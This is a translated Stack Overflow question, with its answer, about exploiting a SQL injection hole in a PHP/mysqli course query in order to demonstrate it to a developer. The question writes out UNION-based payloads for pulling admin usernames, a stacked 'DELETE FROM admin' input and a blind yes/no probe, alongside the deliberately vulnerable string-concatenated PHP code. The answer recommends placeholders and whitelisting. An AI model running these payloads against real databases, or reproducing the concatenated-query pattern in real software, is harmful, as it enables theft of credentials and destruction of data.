使用MySQL进行SQL注入(一个有趣的挑战)

时间:2016-10-28 11:57:05

标签: php mysql sql sql-injection

一位开发人员刚刚在我维护的网站上引入了一个SQL注入漏洞,我想展示它是如何被轻易利用的;但有几个问题。

采用SQL,大致是:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = $_GET['month']
ORDER BY
    c.start

如果我将$_GET['month']设置为:

13 UNION SELECT 1, username, 3 FROM admin

那将运行查询:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
    c.start

如果ORDER BY没有包含c.表别名,那将会有效。相反,它会导致错误:

Table 'c' from one of the SELECTs cannot be used in field list

别名

c添加admin ALIAS也没有任何区别:

13 UNION SELECT 1, c.username, 3 FROM admin AS c

注释

我尝试使用--注释掉ORDER BY,但这不起作用,因为它在新行上:

13 UNION SELECT 1, c.username, 3 FROM admin AS c --

同样/*无法工作,因为我无法添加最终*/

13 UNION SELECT 1, c.username, 3 FROM admin AS c /*

拆分查询

似乎mysqli_prepare()在查询中的任何地方都不喜欢; - 所以DROP,DELETE或TRUNCATE会导致SQL语法错误:

13; DELETE FROM admin;

解决方案

目前我唯一想到的就是添加WHERE子句,因此攻击者可以获得是/否响应(某些记录或没有记录),如下所示 - 但这不如看见记录显示在屏幕上: - )

SELECT
    c.id,
    c.name,
    c.start_estimate
FROM
    thr_course_term AS c
WHERE
    MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
    c.start_estimate;

源代码

SQL使用mysqli在PHP中运行,粗略的代码是:

<?php

$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']

$sql = 'SELECT
            c.id,
            c.name,
            c.start
        FROM
            course AS c
        WHERE
            MONTH(c.start) = ' . $month . '
        ORDER BY
            c.start';

$link = mysqli_connect('localhost', 'username', 'password', 'database');

$statement = mysqli_prepare($link, $sql);

if (!$statement) {

    echo $link->error;

} else {

    // Skip the bind_param bit

    $result = $statement->execute();
    $result = $statement->get_result();

    while ($row = mysqli_fetch_assoc($result)) {
        print_r($row);
    }

}

?>

1 个答案:

答案 0 :(得分:3)

实际上没有必要展示任何漏洞利用技术。

一方面,可能的漏洞利用数量是无限的。您可以使用示例来填充整个Stack Overflow。 但是,它们都不会为保护技术添加任何内容。您可以看到,保护规则简短明了。记住数百种可能的漏洞来保护您的网站是没有意义的。您所需要的只是学习一些规则:

  1. 应通过占位符添加所有数据文字。
  2. 所有其他查询部分必须列入白名单。
  3. 这就是全部。

    另一方面,为了展示危险,旧的Bobby Tables&#39;例子就足够了。如果这个没有说服你,我怀疑任何其他漏洞利用示例都会这样做。